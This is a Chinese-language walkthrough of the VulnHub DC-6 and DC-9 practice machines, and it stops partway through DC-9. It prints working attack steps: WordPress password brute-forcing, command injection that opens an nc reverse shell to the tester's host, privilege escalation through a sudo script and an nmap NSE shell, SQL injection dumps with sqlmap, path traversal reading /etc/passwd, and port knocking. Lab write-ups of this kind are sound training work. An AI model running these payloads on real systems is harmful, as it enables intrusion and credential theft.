&lt;p&gt;&lt;img alt="image-20250414102419598" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414102419598.png"&gt;&lt;/p&gt;
&lt;p&gt;打开网页是一个典型的WordPress默认界面，这是个博客CMS系统，一般有很多漏洞，而且应该有管理员登录地址，后台应该还存在一个数据库用于储存博客文章。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414103018761" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414103018761.png"&gt;&lt;/p&gt;
&lt;p&gt;扫描目录发现admin的地址，在登录页面尝试重置密码失败，提示没有启动邮件服务。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414103127343" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414103127343.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414103140997" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414103140997.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414103335096" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414103335096.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414103711537" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414103711537.png"&gt;&lt;/p&gt;
&lt;p&gt;有一个页面泄露了信息。curl一下发现存在目录遍历，用脚本把能下载的数据都拖下来分析一下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl -I http://wordy/wp-includes/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;wget --recursive --no-parent --convert-links --random-wait &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; --limit-rate&lt;span class="o"&gt;=&lt;/span&gt;100k --user-agent&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Mozilla/5.0&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; --execute &lt;span class="nv"&gt;robots&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;off --no-check-certificate &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt; http://wordy/wp-includes/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250414105109136" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414105109136.png"&gt;&lt;/p&gt;
&lt;p&gt;但是所有的php文件都是下载失败，下载成功的txt文件没有什么收获。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl -s http://wordy/wp-includes/.git/HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl -s http://wordy/wp-includes/.svn/entries
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250414105632105" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414105632105.png"&gt;&lt;/p&gt;
&lt;p&gt;尝试寻找git泄露和svn泄露也失败了。&lt;/p&gt;
&lt;h3 id="密码爆破"&gt;密码爆破
&lt;/h3&gt;&lt;p&gt;这里根据官网提示，密码在rokyou.txt 文件中，然后用kali自带的专门的针对word press的工具WPscan来爆破密码。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cat /usr/share/wordlists/rockyou.txt | grep k01 &amp;gt; passwords.txt # 靶机官网给的提示密码
wpscan --url http://wordy -e u # 扫描可能存在的用户名
wpscan --url http://wordy -U user.txt -P passwords.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250414111159082" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414111159082.png"&gt;&lt;/p&gt;
&lt;p&gt;提示存在上面5个用户名，保存成user.txt然后用密码表爆。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414111341451" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414111341451.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414110854937" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414110854937.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414111926327" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414111926327.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;SUCCESS&lt;span class="o"&gt;]&lt;/span&gt; - mark / helpdesk01
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;看到爆破成功的密码。&lt;/p&gt;
&lt;h3 id="wp漏洞"&gt;WP漏洞
&lt;/h3&gt;&lt;p&gt;用密码登录&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414112020883" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414112020883.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到插件管理页面有个IP tools，可以ping IP，然后执行命令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414112658233" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414112658233.png"&gt;&lt;/p&gt;
&lt;p&gt;Kali本地开启4444监听&lt;code&gt; nc -lvp 4444&lt;/code&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;127.0.0.1&lt;span class="p"&gt;|&lt;/span&gt;nc 172.168.169.128 &lt;span class="m"&gt;4444&lt;/span&gt; -e /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Burp抓包修改字段，反弹Shell。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414113851192" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414113851192.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414113912761" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414113912761.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python -c &lt;span class="s2"&gt;&amp;#34;import pty;pty.spawn(&amp;#39;/bin/bash&amp;#39;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;获取稳定的交互式shell，查找服务器文件，发现home下有各个账户的文件夹，Jens目录下有个打包整个网站的脚本，这样我们就可以下载整个网页源码用于分析。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414121526535" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414121526535.png"&gt;&lt;/p&gt;
&lt;p&gt;而Mark文件夹下有个待办清单，里面提示了新建了一个&lt;code&gt;graham&lt;/code&gt;账户，密码是 &lt;code&gt;GSo7isUM1D4&lt;/code&gt; 已完成。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414121710118" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414121710118.png"&gt;&lt;/p&gt;
&lt;p&gt;成功用密码登录graham的ssh。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh graham@172.168.169.132 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250414122007226" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414122007226.png"&gt;&lt;/p&gt;
&lt;h3 id="提权"&gt;提权
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null
sudo -l
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250414122213362" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414122213362.png"&gt;&lt;/p&gt;
&lt;p&gt;查看sudo -l 下的内容，发现有jens用户权限执行的脚本，正是刚才我们刚才看见的shell脚本。还提示了不用密码就可以执行，所以我们把弹shell的脚本写进去，用jens去做sudu，应该能弹回jens权限的shell。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;nc 172.168.169.128 4444 -e /bin/bash&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; backups.sh 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo -u jens /home/jens/backups.sh 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250414123054380" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414123054380.png"&gt;&lt;/p&gt;
&lt;p&gt;限制登录了jens的终端，但是还是没有root。老样子，查看一下sudo -l&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414123327563" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414123327563.png"&gt;&lt;/p&gt;
&lt;p&gt;用nmap打开一个写了后门的nse文件，应该就能提权。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;os.execute(&amp;#34;/bin/sh&amp;#34;)&amp;#39;&lt;/span&gt; &amp;gt;getshell.nse
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;getshell.nse
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250414140527481" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414140527481.png"&gt;&lt;/p&gt;
&lt;h3 id="其他"&gt;其他
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250414172519390" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414172519390.png"&gt;用jens扫搞nmap命令，想着一句话进root但是失败了，偶然扫出来有mysql端口，所以说，WordPress是一定有数据库的，一开始没扫出来可能是因为关闭的开放权限。既然，来都来了，顺手搞一下数据库。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -p3306 -sV --script&lt;span class="o"&gt;=&lt;/span&gt;mysql-info 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250414173324794" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414173324794.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; scp -P &lt;span class="m"&gt;22&lt;/span&gt; ./Downloads/KaliLearn/fscan graham@172.168.169.132:/home/graham
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;用scp命令把fscan工具传上去扫一下，后面听说数据库加密的挺横就放弃了，以后再想办法&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250415123131284" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250415123131284.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="dc-9"&gt;DC-9
&lt;/h2&gt;&lt;p&gt;靶场文件下载地址：https://download.vulnhub.com/dc/DC-9.zip&lt;/p&gt;
&lt;h3 id="信息收集-1"&gt;信息收集
&lt;/h3&gt;&lt;p&gt;扫描发现靶机地址为133&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507100308364" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507100308364.png"&gt;&lt;/p&gt;
&lt;p&gt;打开浏览器看一眼80端口有没有网页，可以看到有apache&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507100441113" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507100441113.png"&gt;&lt;/p&gt;
&lt;p&gt;扫一遍端口也只发现有80端口可以利用，22端口开放但是目前是关闭状态。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507100749338" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507100749338.png"&gt;&lt;/p&gt;
&lt;p&gt;查看网页发现有如下界面，非常明显的提示，可能存在sql注入。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507101029778" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507101029778.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507101246803" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507101246803.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507104254634" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507104254634.png"&gt;&lt;/p&gt;
&lt;p&gt;手动注入万能密码发现存在注入&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;1&lt;span class="err"&gt;&amp;#39;&lt;/span&gt; or &lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1#
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250507104341474" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507104341474.png"&gt;&lt;/p&gt;
&lt;p&gt;抓包使用sql注入&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507101414014" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507101414014.png"&gt;&lt;/p&gt;
&lt;h3 id="sql注入"&gt;sql注入
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u &lt;span class="s2"&gt;&amp;#34;http://172.168.169.133/results.php&amp;#34;&lt;/span&gt; --data &lt;span class="s2"&gt;&amp;#34;search=1&amp;#34;&lt;/span&gt; --dbs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u &lt;span class="s2"&gt;&amp;#34;http://172.168.169.133/results.php&amp;#34;&lt;/span&gt; --data &lt;span class="s2"&gt;&amp;#34;search=1&amp;#34;&lt;/span&gt; -D users --tables
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u &lt;span class="s2"&gt;&amp;#34;http://172.168.169.133/results.php&amp;#34;&lt;/span&gt; --data &lt;span class="s2"&gt;&amp;#34;search=1&amp;#34;&lt;/span&gt; -D users -T UserDetails --columns
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u &lt;span class="s2"&gt;&amp;#34;http://172.168.169.133/results.php&amp;#34;&lt;/span&gt; --data &lt;span class="s2"&gt;&amp;#34;search=1&amp;#34;&lt;/span&gt; -D users -T UserDetails -C “id,username,password,firstname,lastname,reg_date” --dump
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250507101631995" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507101631995.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507101755650" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507101755650.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507102938889" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507102938889.png"&gt;&lt;/p&gt;
&lt;p&gt;但是这几个密码登陆不了，再看看别的表。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u &lt;span class="s2"&gt;&amp;#34;http://172.168.169.133/results.php&amp;#34;&lt;/span&gt; --data &lt;span class="s2"&gt;&amp;#34;search=1&amp;#34;&lt;/span&gt; -D Staff -T &lt;span class="s2"&gt;&amp;#34;StaffDetails,Users&amp;#34;&lt;/span&gt; --dump
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250507104902923" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507104902923.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507105322791" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507105322791.png"&gt;&lt;/p&gt;
&lt;p&gt;爆出来一个admin用户名和密码这个加密已经自动解出了是&lt;code&gt;transorbital1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507105557668" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507105557668.png"&gt;&lt;/p&gt;
&lt;p&gt;管理员的界面多了一个添加记录的功能，但是我们发现左下角有个文件不存在的提示，说明这个网页是解析了一个什么文件，但是靶机文件不存在。网页应该用了文件包含文件解析之类的功能，先尝试一下文件包含漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250507110002212" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507110002212.png"&gt;&lt;/p&gt;
&lt;h3 id="文件包含"&gt;文件包含
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.133/addrecord.php/?file&lt;span class="o"&gt;=&lt;/span&gt;../../../../../etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250507110518792" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507110518792.png"&gt;&lt;/p&gt;
&lt;p&gt;然后查询ssh的22端口的开门密码，因为原来的22的关闭状态，虽然有这个服务，但是端口没开。开门密码就是把这个端口给打开的一个作用&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://172.168.169.133/addrecord.php/?file=../../../../../etc/knockd.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250507110833308" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507110833308.png"&gt;&lt;/p&gt;
&lt;h3 id="敲门打开ssh"&gt;敲门打开ssh
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nc -v -w &lt;span class="m"&gt;1&lt;/span&gt; 172.168.169.133 &lt;span class="m"&gt;7469&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; nc -v -w &lt;span class="m"&gt;1&lt;/span&gt; 172.168.169.133 &lt;span class="m"&gt;8475&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; nc -v -w &lt;span class="m"&gt;1&lt;/span&gt; 172.168.169.133 &lt;span class="m"&gt;9842&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250507111737891" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507111737891.png"&gt;&lt;/p&gt;
&lt;p&gt;敲完门发现ssh打开了。&lt;/p&gt;
&lt;h3 id="hydra密码爆破"&gt;hydra密码爆破
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250507112138191" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250507112138191.png"&gt;&lt;/p&gt;
&lt;p&gt;把之前sqlmap爆出来的表格中用户名和密码单独存为user.txt和passwd.txt。这个表格在&lt;code&gt;/home/kali/.local/share/sqlmap/output/172.168.169.133/dump/users/UserDetails.csv&lt;/code&gt;&lt;/p&gt;
